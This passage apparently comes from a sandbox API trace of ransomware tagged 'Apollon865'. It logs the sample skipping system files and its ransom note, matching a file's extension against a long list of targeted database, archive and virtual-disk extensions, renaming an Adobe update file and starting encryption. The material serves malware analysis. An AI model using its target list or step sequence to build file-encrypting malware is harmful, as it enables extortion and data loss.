	[0085.860] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2540cc00, ftCreationTime.dwHighDateTime=0x1d1056e, ftLastAccessTime.dwLowDateTime=0x2540cc00, ftLastAccessTime.dwHighDateTime=0x1d1056e, ftLastWriteTime.dwLowDateTime=0x2540cc00, ftLastWriteTime.dwHighDateTime=0x1d1056e, nFileSizeHigh=0x0, nFileSizeLow=0x109d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AdbeRdrUpd10116_MUI.msp", cAlternateFileName="ADBERD~3.MSP")) returned 1
	[0085.860] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.860] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2="Apollon865.txt.exe") returned -1
	[0085.860] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2=".") returned 1
	[0085.860] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2="..") returned 1
	[0085.860] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2="windows") returned -1
	[0085.860] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2="bootmgr") returned -1
	[0085.860] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2="temp") returned -1
	[0085.860] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2="pagefile.sys") returned -1
	[0085.860] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2="boot") returned -1
	[0085.860] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2="ids.txt") returned -1
	[0085.860] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2="ntuser.dat") returned -1
	[0085.860] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2="perflogs") returned -1
	[0085.860] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2="MSBuild") returned -1
	[0085.860] lstrlenW (lpString="AdbeRdrUpd10116_MUI.msp") returned 23
	[0085.860] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp") returned 66
	[0085.861] lstrcpyW (in: lpString1=0x119e65e, lpString2="AdbeRdrUpd10116_MUI.msp" | out: lpString1="AdbeRdrUpd10116_MUI.msp") returned="AdbeRdrUpd10116_MUI.msp"
	[0085.861] lstrlenW (lpString="AdbeRdrUpd10116_MUI.msp") returned 23
	[0085.861] lstrlenW (lpString="Apollon865") returned 10
	[0085.861] lstrcmpiW (lpString1="16_MUI.msp", lpString2="Apollon865") returned -1
	[0085.861] lstrlenW (lpString=".dll") returned 4
	[0085.861] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2=".dll") returned 1
	[0085.861] lstrlenW (lpString=".lnk") returned 4
	[0085.861] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2=".lnk") returned 1
	[0085.861] lstrlenW (lpString=".ini") returned 4
	[0085.861] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2=".ini") returned 1
	[0085.861] lstrlenW (lpString=".sys") returned 4
	[0085.861] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2=".sys") returned 1
	[0085.861] lstrlenW (lpString="AdbeRdrUpd10116_MUI.msp") returned 23
	[0085.861] lstrlenW (lpString="bak") returned 3
	[0085.861] lstrcmpiW (lpString1="msp", lpString2="bak") returned 1
	[0085.861] lstrlenW (lpString="ba_") returned 3
	[0085.861] lstrcmpiW (lpString1="msp", lpString2="ba_") returned 1
	[0085.861] lstrlenW (lpString="dbb") returned 3
	[0085.861] lstrcmpiW (lpString1="msp", lpString2="dbb") returned 1
	[0085.861] lstrlenW (lpString="vmdk") returned 4
	[0085.861] lstrcmpiW (lpString1=".msp", lpString2="vmdk") returned -1
	[0085.861] lstrlenW (lpString="rar") returned 3
	[0085.861] lstrcmpiW (lpString1="msp", lpString2="rar") returned -1
	[0085.861] lstrlenW (lpString="zip") returned 3
	[0085.861] lstrcmpiW (lpString1="msp", lpString2="zip") returned -1
	[0085.861] lstrlenW (lpString="tgz") returned 3
	[0085.861] lstrcmpiW (lpString1="msp", lpString2="tgz") returned -1
	[0085.861] lstrlenW (lpString="vbox") returned 4
	[0085.861] lstrcmpiW (lpString1=".msp", lpString2="vbox") returned -1
	[0085.861] lstrlenW (lpString="vdi") returned 3
	[0085.861] lstrcmpiW (lpString1="msp", lpString2="vdi") returned -1
	[0085.861] lstrlenW (lpString="vhd") returned 3
	[0085.861] lstrcmpiW (lpString1="msp", lpString2="vhd") returned -1
	[0085.861] lstrlenW (lpString="vhdx") returned 4
	[0085.861] lstrcmpiW (lpString1=".msp", lpString2="vhdx") returned -1
	[0085.862] lstrlenW (lpString="avhd") returned 4
	[0085.862] lstrcmpiW (lpString1=".msp", lpString2="avhd") returned -1
	[0085.862] lstrlenW (lpString="db") returned 2
	[0085.862] lstrcmpiW (lpString1="sp", lpString2="db") returned 1
	[0085.862] lstrlenW (lpString="db2") returned 3
	[0085.862] lstrcmpiW (lpString1="msp", lpString2="db2") returned 1
	[0085.862] lstrlenW (lpString="db3") returned 3
	[0085.862] lstrcmpiW (lpString1="msp", lpString2="db3") returned 1
	[0085.862] lstrlenW (lpString="dbf") returned 3
	[0085.862] lstrcmpiW (lpString1="msp", lpString2="dbf") returned 1
	[0085.862] lstrlenW (lpString="mdf") returned 3
	[0085.862] lstrcmpiW (lpString1="msp", lpString2="mdf") returned 1
	[0085.862] lstrlenW (lpString="mdb") returned 3
	[0085.862] lstrcmpiW (lpString1="msp", lpString2="mdb") returned 1
	[0085.862] lstrlenW (lpString="sql") returned 3
	[0085.862] lstrcmpiW (lpString1="msp", lpString2="sql") returned -1
	[0085.862] lstrlenW (lpString="sqlite") returned 6
	[0085.862] lstrcmpiW (lpString1="UI.msp", lpString2="sqlite") returned 1
	[0085.862] lstrlenW (lpString="sqlite3") returned 7
	[0085.862] lstrcmpiW (lpString1="MUI.msp", lpString2="sqlite3") returned -1
	[0085.862] lstrlenW (lpString="sqlitedb") returned 8
	[0085.862] lstrcmpiW (lpString1="_MUI.msp", lpString2="sqlitedb") returned -1
	[0085.862] lstrlenW (lpString="xml") returned 3
	[0085.862] lstrcmpiW (lpString1="msp", lpString2="xml") returned -1
	[0085.862] lstrlenW (lpString="$er") returned 3
	[0085.862] lstrcmpiW (lpString1="msp", lpString2="$er") returned 1
	[0085.862] lstrlenW (lpString="4dd") returned 3
	[0085.862] lstrcmpiW (lpString1="msp", lpString2="4dd") returned 1
	[0085.862] lstrlenW (lpString="4dl") returned 3
	[0085.862] lstrcmpiW (lpString1="msp", lpString2="4dl") returned 1
	[0085.862] lstrlenW (lpString="^^^") returned 3
	[0085.862] lstrcmpiW (lpString1="msp", lpString2="^^^") returned 1
	[0085.862] lstrlenW (lpString="abs") returned 3
	[0085.862] lstrcmpiW (lpString1="msp", lpString2="abs") returned 1
	[0085.862] lstrlenW (lpString="abx") returned 3
	[0085.862] lstrcmpiW (lpString1="msp", lpString2="abx") returned 1
	[0085.863] lstrlenW (lpString="accdb") returned 5
	[0085.863] lstrcmpiW (lpString1="I.msp", lpString2="accdb") returned 1
	[0085.863] lstrlenW (lpString="accdc") returned 5
	[0085.863] lstrcmpiW (lpString1="I.msp", lpString2="accdc") returned 1
	[0085.863] lstrlenW (lpString="accde") returned 5
	[0085.863] lstrcmpiW (lpString1="I.msp", lpString2="accde") returned 1
	[0085.863] lstrlenW (lpString="accdr") returned 5
	[0085.863] lstrcmpiW (lpString1="I.msp", lpString2="accdr") returned 1
	[0085.863] lstrlenW (lpString="accdt") returned 5
	[0085.863] lstrcmpiW (lpString1="I.msp", lpString2="accdt") returned 1
	[0085.863] lstrlenW (lpString="accdw") returned 5
	[0085.863] lstrcmpiW (lpString1="I.msp", lpString2="accdw") returned 1
	[0085.863] lstrlenW (lpString="accft") returned 5
	[0085.863] lstrcmpiW (lpString1="I.msp", lpString2="accft") returned 1
	[0085.863] lstrlenW (lpString="adb") returned 3
	[0085.863] lstrcmpiW (lpString1="msp", lpString2="adb") returned 1
	[0085.863] lstrlenW (lpString="adb") returned 3
	[0085.863] lstrcmpiW (lpString1="msp", lpString2="adb") returned 1
	[0085.863] lstrlenW (lpString="ade") returned 3
	[0085.863] lstrcmpiW (lpString1="msp", lpString2="ade") returned 1
	[0085.863] lstrlenW (lpString="adf") returned 3
	[0085.863] lstrcmpiW (lpString1="msp", lpString2="adf") returned 1
	[0085.863] lstrlenW (lpString="adn") returned 3
	[0085.863] lstrcmpiW (lpString1="msp", lpString2="adn") returned 1
	[0085.863] lstrlenW (lpString="adp") returned 3
	[0085.863] lstrcmpiW (lpString1="msp", lpString2="adp") returned 1
	[0085.863] lstrlenW (lpString="alf") returned 3
	[0085.863] lstrcmpiW (lpString1="msp", lpString2="alf") returned 1
	[0085.863] lstrlenW (lpString="ask") returned 3
	[0085.863] lstrcmpiW (lpString1="msp", lpString2="ask") returned 1
	[0085.863] lstrlenW (lpString="btr") returned 3
	[0085.863] lstrcmpiW (lpString1="msp", lpString2="btr") returned 1
	[0085.863] lstrlenW (lpString="cat") returned 3
	[0085.863] lstrcmpiW (lpString1="msp", lpString2="cat") returned 1
	[0085.863] lstrlenW (lpString="cdb") returned 3
	[0085.863] lstrcmpiW (lpString1="msp", lpString2="cdb") returned 1
	[0085.864] lstrlenW (lpString="ckp") returned 3
	[0085.864] lstrcmpiW (lpString1="msp", lpString2="ckp") returned 1
	[0085.864] lstrlenW (lpString="cma") returned 3
	[0085.864] lstrcmpiW (lpString1="msp", lpString2="cma") returned 1
	[0085.864] lstrlenW (lpString="cpd") returned 3
	[0085.864] lstrcmpiW (lpString1="msp", lpString2="cpd") returned 1
	[0085.864] lstrlenW (lpString="dacpac") returned 6
	[0085.864] lstrcmpiW (lpString1="UI.msp", lpString2="dacpac") returned 1
	[0085.864] lstrlenW (lpString="dad") returned 3
	[0085.864] lstrcmpiW (lpString1="msp", lpString2="dad") returned 1
	[0085.864] lstrlenW (lpString="dadiagrams") returned 10
	[0085.864] lstrcmpiW (lpString1="16_MUI.msp", lpString2="dadiagrams") returned -1
	[0085.864] lstrlenW (lpString="daschema") returned 8
	[0085.864] lstrcmpiW (lpString1="_MUI.msp", lpString2="daschema") returned -1
	[0085.864] lstrlenW (lpString="db-journal") returned 10
	[0085.864] lstrcmpiW (lpString1="16_MUI.msp", lpString2="db-journal") returned -1
	[0085.864] lstrlenW (lpString="db-shm") returned 6
	[0085.864] lstrcmpiW (lpString1="UI.msp", lpString2="db-shm") returned 1
	[0085.864] lstrlenW (lpString="db-wal") returned 6
	[0085.864] lstrcmpiW (lpString1="UI.msp", lpString2="db-wal") returned 1
	[0085.864] lstrlenW (lpString="dbc") returned 3
	[0085.864] lstrcmpiW (lpString1="msp", lpString2="dbc") returned 1
	[0085.864] lstrlenW (lpString="dbs") returned 3
	[0085.864] lstrcmpiW (lpString1="msp", lpString2="dbs") returned 1
	[0085.864] lstrlenW (lpString="dbt") returned 3
	[0085.864] lstrcmpiW (lpString1="msp", lpString2="dbt") returned 1
	[0085.864] lstrlenW (lpString="dbv") returned 3
	[0085.864] lstrcmpiW (lpString1="msp", lpString2="dbv") returned 1
	[0085.864] lstrlenW (lpString="dbx") returned 3
	[0085.864] lstrcmpiW (lpString1="msp", lpString2="dbx") returned 1
	[0085.864] lstrlenW (lpString="dcb") returned 3
	[0085.864] lstrcmpiW (lpString1="msp", lpString2="dcb") returned 1
	[0085.864] lstrlenW (lpString="dct") returned 3
	[0085.864] lstrcmpiW (lpString1="msp", lpString2="dct") returned 1
	[0085.864] lstrlenW (lpString="dcx") returned 3
	[0085.864] lstrcmpiW (lpString1="msp", lpString2="dcx") returned 1
	[0085.864] lstrlenW (lpString="ddl") returned 3
	[0085.865] lstrcmpiW (lpString1="msp", lpString2="ddl") returned 1
	[0085.865] lstrlenW (lpString="dlis") returned 4
	[0085.865] lstrcmpiW (lpString1=".msp", lpString2="dlis") returned -1
	[0085.865] lstrlenW (lpString="dp1") returned 3
	[0085.865] lstrcmpiW (lpString1="msp", lpString2="dp1") returned 1
	[0085.865] lstrlenW (lpString="dqy") returned 3
	[0085.865] lstrcmpiW (lpString1="msp", lpString2="dqy") returned 1
	[0085.865] lstrlenW (lpString="dsk") returned 3
	[0085.865] lstrcmpiW (lpString1="msp", lpString2="dsk") returned 1
	[0085.865] lstrlenW (lpString="dsn") returned 3
	[0085.865] lstrcmpiW (lpString1="msp", lpString2="dsn") returned 1
	[0085.865] lstrlenW (lpString="dtsx") returned 4
	[0085.865] lstrcmpiW (lpString1=".msp", lpString2="dtsx") returned -1
	[0085.865] lstrlenW (lpString="dxl") returned 3
	[0085.865] lstrcmpiW (lpString1="msp", lpString2="dxl") returned 1
	[0085.865] lstrlenW (lpString="eco") returned 3
	[0085.865] lstrcmpiW (lpString1="msp", lpString2="eco") returned 1
	[0085.865] lstrlenW (lpString="ecx") returned 3
	[0085.865] lstrcmpiW (lpString1="msp", lpString2="ecx") returned 1
	[0085.865] lstrlenW (lpString="edb") returned 3
	[0085.865] lstrcmpiW (lpString1="msp", lpString2="edb") returned 1
	[0085.865] lstrlenW (lpString="epim") returned 4
	[0085.865] lstrcmpiW (lpString1=".msp", lpString2="epim") returned -1
	[0085.865] lstrlenW (lpString="fcd") returned 3
	[0085.865] lstrcmpiW (lpString1="msp", lpString2="fcd") returned 1
	[0085.865] lstrlenW (lpString="fdb") returned 3
	[0085.865] lstrcmpiW (lpString1="msp", lpString2="fdb") returned 1
	[0085.865] lstrlenW (lpString="fic") returned 3
	[0085.865] lstrcmpiW (lpString1="msp", lpString2="fic") returned 1
	[0085.865] lstrlenW (lpString="flexolibrary") returned 12
	[0085.865] lstrcmpiW (lpString1="0116_MUI.msp", lpString2="flexolibrary") returned -1
	[0085.865] lstrlenW (lpString="fm5") returned 3
	[0085.865] lstrcmpiW (lpString1="msp", lpString2="fm5") returned 1
	[0085.865] lstrlenW (lpString="fmp") returned 3
	[0085.865] lstrcmpiW (lpString1="msp", lpString2="fmp") returned 1
	[0085.865] lstrlenW (lpString="fmp12") returned 5
	[0085.865] lstrcmpiW (lpString1="I.msp", lpString2="fmp12") returned 1
	[0085.865] lstrlenW (lpString="fmpsl") returned 5
	[0085.866] lstrcmpiW (lpString1="I.msp", lpString2="fmpsl") returned 1
	[0085.866] lstrlenW (lpString="fol") returned 3
	[0085.866] lstrcmpiW (lpString1="msp", lpString2="fol") returned 1
	[0085.866] lstrlenW (lpString="fp3") returned 3
	[0085.866] lstrcmpiW (lpString1="msp", lpString2="fp3") returned 1
	[0085.866] lstrlenW (lpString="fp4") returned 3
	[0085.866] lstrcmpiW (lpString1="msp", lpString2="fp4") returned 1
	[0085.866] lstrlenW (lpString="fp5") returned 3
	[0085.866] lstrcmpiW (lpString1="msp", lpString2="fp5") returned 1
	[0085.866] lstrlenW (lpString="fp7") returned 3
	[0085.866] lstrcmpiW (lpString1="msp", lpString2="fp7") returned 1
	[0085.866] lstrlenW (lpString="fpt") returned 3
	[0085.866] lstrcmpiW (lpString1="msp", lpString2="fpt") returned 1
	[0085.866] lstrlenW (lpString="frm") returned 3
	[0085.866] lstrcmpiW (lpString1="msp", lpString2="frm") returned 1
	[0085.866] lstrlenW (lpString="gdb") returned 3
	[0085.866] lstrcmpiW (lpString1="msp", lpString2="gdb") returned 1
	[0085.866] lstrlenW (lpString="gdb") returned 3
	[0085.866] lstrcmpiW (lpString1="msp", lpString2="gdb") returned 1
	[0085.866] lstrlenW (lpString="grdb") returned 4
	[0085.866] lstrcmpiW (lpString1=".msp", lpString2="grdb") returned -1
	[0085.866] lstrlenW (lpString="gwi") returned 3
	[0085.866] lstrcmpiW (lpString1="msp", lpString2="gwi") returned 1
	[0085.866] lstrlenW (lpString="hdb") returned 3
	[0085.866] lstrcmpiW (lpString1="msp", lpString2="hdb") returned 1
	[0085.866] lstrlenW (lpString="his") returned 3
	[0085.866] lstrcmpiW (lpString1="msp", lpString2="his") returned 1
	[0085.866] lstrlenW (lpString="ib") returned 2
	[0085.866] lstrcmpiW (lpString1="sp", lpString2="ib") returned 1
	[0085.866] lstrlenW (lpString="idb") returned 3
	[0085.866] lstrcmpiW (lpString1="msp", lpString2="idb") returned 1
	[0085.866] lstrlenW (lpString="ihx") returned 3
	[0085.866] lstrcmpiW (lpString1="msp", lpString2="ihx") returned 1
	[0085.866] lstrlenW (lpString="itdb") returned 4
	[0085.866] lstrcmpiW (lpString1=".msp", lpString2="itdb") returned -1
	[0085.866] lstrlenW (lpString="itw") returned 3
	[0085.866] lstrcmpiW (lpString1="msp", lpString2="itw") returned 1
	[0085.867] lstrlenW (lpString="jet") returned 3
	[0085.867] lstrcmpiW (lpString1="msp", lpString2="jet") returned 1
	[0085.867] lstrlenW (lpString="jtx") returned 3
	[0085.867] lstrcmpiW (lpString1="msp", lpString2="jtx") returned 1
	[0085.867] lstrlenW (lpString="kdb") returned 3
	[0085.867] lstrcmpiW (lpString1="msp", lpString2="kdb") returned 1
	[0085.867] lstrlenW (lpString="kexi") returned 4
	[0085.867] lstrcmpiW (lpString1=".msp", lpString2="kexi") returned -1
	[0085.867] lstrlenW (lpString="kexic") returned 5
	[0085.867] lstrcmpiW (lpString1="I.msp", lpString2="kexic") returned -1
	[0085.867] lstrlenW (lpString="kexis") returned 5
	[0085.867] lstrcmpiW (lpString1="I.msp", lpString2="kexis") returned -1
	[0085.867] lstrlenW (lpString="lgc") returned 3
	[0085.867] lstrcmpiW (lpString1="msp", lpString2="lgc") returned 1
	[0085.867] lstrlenW (lpString="lwx") returned 3
	[0085.867] lstrcmpiW (lpString1="msp", lpString2="lwx") returned 1
	[0085.867] lstrlenW (lpString="maf") returned 3
	[0085.867] lstrcmpiW (lpString1="msp", lpString2="maf") returned 1
	[0085.867] lstrlenW (lpString="maq") returned 3
	[0085.867] lstrcmpiW (lpString1="msp", lpString2="maq") returned 1
	[0085.867] lstrlenW (lpString="mar") returned 3
	[0085.867] lstrcmpiW (lpString1="msp", lpString2="mar") returned 1
	[0085.867] lstrlenW (lpString="marshal") returned 7
	[0085.867] lstrcmpiW (lpString1="MUI.msp", lpString2="marshal") returned 1
	[0085.867] lstrlenW (lpString="mas") returned 3
	[0085.867] lstrcmpiW (lpString1="msp", lpString2="mas") returned 1
	[0085.867] lstrlenW (lpString="mav") returned 3
	[0085.867] lstrcmpiW (lpString1="msp", lpString2="mav") returned 1
	[0085.867] lstrlenW (lpString="maw") returned 3
	[0085.867] lstrcmpiW (lpString1="msp", lpString2="maw") returned 1
	[0085.867] lstrlenW (lpString="mdbhtml") returned 7
	[0085.867] lstrcmpiW (lpString1="MUI.msp", lpString2="mdbhtml") returned 1
	[0085.867] lstrlenW (lpString="mdn") returned 3
	[0085.867] lstrcmpiW (lpString1="msp", lpString2="mdn") returned 1
	[0085.867] lstrlenW (lpString="mdt") returned 3
	[0085.867] lstrcmpiW (lpString1="msp", lpString2="mdt") returned 1
	[0085.867] lstrlenW (lpString="mfd") returned 3
	[0085.868] lstrcmpiW (lpString1="msp", lpString2="mfd") returned 1
	[0085.868] lstrlenW (lpString="mpd") returned 3
	[0085.868] lstrcmpiW (lpString1="msp", lpString2="mpd") returned 1
	[0085.868] lstrlenW (lpString="mrg") returned 3
	[0085.868] lstrcmpiW (lpString1="msp", lpString2="mrg") returned 1
	[0085.868] lstrlenW (lpString="mud") returned 3
	[0085.868] lstrcmpiW (lpString1="msp", lpString2="mud") returned -1
	[0085.868] lstrlenW (lpString="mwb") returned 3
	[0085.868] lstrcmpiW (lpString1="msp", lpString2="mwb") returned -1
	[0085.868] lstrlenW (lpString="myd") returned 3
	[0085.868] lstrcmpiW (lpString1="msp", lpString2="myd") returned -1
	[0085.868] lstrlenW (lpString="ndf") returned 3
	[0085.868] lstrcmpiW (lpString1="msp", lpString2="ndf") returned -1
	[0085.868] lstrlenW (lpString="nnt") returned 3
	[0085.868] lstrcmpiW (lpString1="msp", lpString2="nnt") returned -1
	[0085.868] lstrlenW (lpString="nrmlib") returned 6
	[0085.868] lstrcmpiW (lpString1="UI.msp", lpString2="nrmlib") returned 1
	[0085.868] lstrlenW (lpString="ns2") returned 3
	[0085.868] lstrcmpiW (lpString1="msp", lpString2="ns2") returned -1
	[0085.868] lstrlenW (lpString="ns3") returned 3
	[0085.868] lstrcmpiW (lpString1="msp", lpString2="ns3") returned -1
	[0085.868] lstrlenW (lpString="ns4") returned 3
	[0085.868] lstrcmpiW (lpString1="msp", lpString2="ns4") returned -1
	[0085.868] lstrlenW (lpString="nsf") returned 3
	[0085.868] lstrcmpiW (lpString1="msp", lpString2="nsf") returned -1
	[0085.868] lstrlenW (lpString="nv") returned 2
	[0085.868] lstrcmpiW (lpString1="sp", lpString2="nv") returned 1
	[0085.868] lstrlenW (lpString="nv2") returned 3
	[0085.868] lstrcmpiW (lpString1="msp", lpString2="nv2") returned -1
	[0085.868] lstrlenW (lpString="nwdb") returned 4
	[0085.868] lstrcmpiW (lpString1=".msp", lpString2="nwdb") returned -1
	[0085.868] lstrlenW (lpString="nyf") returned 3
	[0085.868] lstrcmpiW (lpString1="msp", lpString2="nyf") returned -1
	[0085.868] lstrlenW (lpString="odb") returned 3
	[0085.868] lstrcmpiW (lpString1="msp", lpString2="odb") returned -1
	[0085.868] lstrlenW (lpString="odb") returned 3
	[0085.868] lstrcmpiW (lpString1="msp", lpString2="odb") returned -1
	[0085.868] lstrlenW (lpString="oqy") returned 3
	[0085.869] lstrcmpiW (lpString1="msp", lpString2="oqy") returned -1
	[0085.869] lstrlenW (lpString="ora") returned 3
	[0085.869] lstrcmpiW (lpString1="msp", lpString2="ora") returned -1
	[0085.869] lstrlenW (lpString="orx") returned 3
	[0085.869] lstrcmpiW (lpString1="msp", lpString2="orx") returned -1
	[0085.869] lstrlenW (lpString="owc") returned 3
	[0085.869] lstrcmpiW (lpString1="msp", lpString2="owc") returned -1
	[0085.869] lstrlenW (lpString="p96") returned 3
	[0085.869] lstrcmpiW (lpString1="msp", lpString2="p96") returned -1
	[0085.869] lstrlenW (lpString="p97") returned 3
	[0085.869] lstrcmpiW (lpString1="msp", lpString2="p97") returned -1
	[0085.869] lstrlenW (lpString="pan") returned 3
	[0085.869] lstrcmpiW (lpString1="msp", lpString2="pan") returned -1
	[0085.869] lstrlenW (lpString="pdb") returned 3
	[0085.869] lstrcmpiW (lpString1="msp", lpString2="pdb") returned -1
	[0085.869] lstrlenW (lpString="pdm") returned 3
	[0085.869] lstrcmpiW (lpString1="msp", lpString2="pdm") returned -1
	[0085.869] lstrlenW (lpString="pnz") returned 3
	[0085.869] lstrcmpiW (lpString1="msp", lpString2="pnz") returned -1
	[0085.869] lstrlenW (lpString="qry") returned 3
	[0085.869] lstrcmpiW (lpString1="msp", lpString2="qry") returned -1
	[0085.869] lstrlenW (lpString="qvd") returned 3
	[0085.869] lstrcmpiW (lpString1="msp", lpString2="qvd") returned -1
	[0085.869] lstrlenW (lpString="rbf") returned 3
	[0085.869] lstrcmpiW (lpString1="msp", lpString2="rbf") returned -1
	[0085.869] lstrlenW (lpString="rctd") returned 4
	[0085.869] lstrcmpiW (lpString1=".msp", lpString2="rctd") returned -1
	[0085.869] lstrlenW (lpString="rod") returned 3
	[0085.869] lstrcmpiW (lpString1="msp", lpString2="rod") returned -1
	[0085.869] lstrlenW (lpString="rodx") returned 4
	[0085.869] lstrcmpiW (lpString1=".msp", lpString2="rodx") returned -1
	[0085.869] lstrlenW (lpString="rpd") returned 3
	[0085.869] lstrcmpiW (lpString1="msp", lpString2="rpd") returned -1
	[0085.869] lstrlenW (lpString="rsd") returned 3
	[0085.869] lstrcmpiW (lpString1="msp", lpString2="rsd") returned -1
	[0085.869] lstrlenW (lpString="sas7bdat") returned 8
	[0085.869] lstrcmpiW (lpString1="_MUI.msp", lpString2="sas7bdat") returned -1
	[0085.870] lstrlenW (lpString="sbf") returned 3
	[0085.870] lstrcmpiW (lpString1="msp", lpString2="sbf") returned -1
	[0085.870] lstrlenW (lpString="scx") returned 3
	[0085.870] lstrcmpiW (lpString1="msp", lpString2="scx") returned -1
	[0085.870] lstrlenW (lpString="sdb") returned 3
	[0085.870] lstrcmpiW (lpString1="msp", lpString2="sdb") returned -1
	[0085.870] lstrlenW (lpString="sdc") returned 3
	[0085.870] lstrcmpiW (lpString1="msp", lpString2="sdc") returned -1
	[0085.870] lstrlenW (lpString="sdf") returned 3
	[0085.870] lstrcmpiW (lpString1="msp", lpString2="sdf") returned -1
	[0085.870] lstrlenW (lpString="sis") returned 3
	[0085.870] lstrcmpiW (lpString1="msp", lpString2="sis") returned -1
	[0085.870] lstrlenW (lpString="spq") returned 3
	[0085.870] lstrcmpiW (lpString1="msp", lpString2="spq") returned -1
	[0085.870] lstrlenW (lpString="te") returned 2
	[0085.870] lstrcmpiW (lpString1="sp", lpString2="te") returned -1
	[0085.870] lstrlenW (lpString="teacher") returned 7
	[0085.870] lstrcmpiW (lpString1="MUI.msp", lpString2="teacher") returned -1
	[0085.870] lstrlenW (lpString="tmd") returned 3
	[0085.870] lstrcmpiW (lpString1="msp", lpString2="tmd") returned -1
	[0085.870] lstrlenW (lpString="tps") returned 3
	[0085.870] lstrcmpiW (lpString1="msp", lpString2="tps") returned -1
	[0085.870] lstrlenW (lpString="trc") returned 3
	[0085.870] lstrcmpiW (lpString1="msp", lpString2="trc") returned -1
	[0085.870] lstrlenW (lpString="trc") returned 3
	[0085.870] lstrcmpiW (lpString1="msp", lpString2="trc") returned -1
	[0085.870] lstrlenW (lpString="trm") returned 3
	[0085.870] lstrcmpiW (lpString1="msp", lpString2="trm") returned -1
	[0085.870] lstrlenW (lpString="udb") returned 3
	[0085.870] lstrcmpiW (lpString1="msp", lpString2="udb") returned -1
	[0085.870] lstrlenW (lpString="udl") returned 3
	[0085.870] lstrcmpiW (lpString1="msp", lpString2="udl") returned -1
	[0085.870] lstrlenW (lpString="usr") returned 3
	[0085.870] lstrcmpiW (lpString1="msp", lpString2="usr") returned -1
	[0085.870] lstrlenW (lpString="v12") returned 3
	[0085.870] lstrcmpiW (lpString1="msp", lpString2="v12") returned -1
	[0085.870] lstrlenW (lpString="vis") returned 3
	[0085.871] lstrcmpiW (lpString1="msp", lpString2="vis") returned -1
	[0085.871] lstrlenW (lpString="vpd") returned 3
	[0085.871] lstrcmpiW (lpString1="msp", lpString2="vpd") returned -1
	[0085.871] lstrlenW (lpString="vvv") returned 3
	[0085.871] lstrcmpiW (lpString1="msp", lpString2="vvv") returned -1
	[0085.871] lstrlenW (lpString="wdb") returned 3
	[0085.871] lstrcmpiW (lpString1="msp", lpString2="wdb") returned -1
	[0085.871] lstrlenW (lpString="wmdb") returned 4
	[0085.871] lstrcmpiW (lpString1=".msp", lpString2="wmdb") returned -1
	[0085.871] lstrlenW (lpString="wrk") returned 3
	[0085.871] lstrcmpiW (lpString1="msp", lpString2="wrk") returned -1
	[0085.871] lstrlenW (lpString="xdb") returned 3
	[0085.871] lstrcmpiW (lpString1="msp", lpString2="xdb") returned -1
	[0085.871] lstrlenW (lpString="xld") returned 3
	[0085.871] lstrcmpiW (lpString1="msp", lpString2="xld") returned -1
	[0085.871] lstrlenW (lpString="xmlff") returned 5
	[0085.871] lstrcmpiW (lpString1="I.msp", lpString2="xmlff") returned -1
	[0085.871] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp.Apollon865") returned 77
	[0085.871] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrupd10116_mui.msp"), lpNewFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp.Apollon865" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrupd10116_mui.msp.apollon865"), dwFlags=0x1) returned 1
	[0085.873] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp.Apollon865" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrupd10116_mui.msp.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0085.873] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=17420288) returned 1
	[0085.873] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0085.873] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0085.873] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0085.873] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0085.874] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0085.874] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
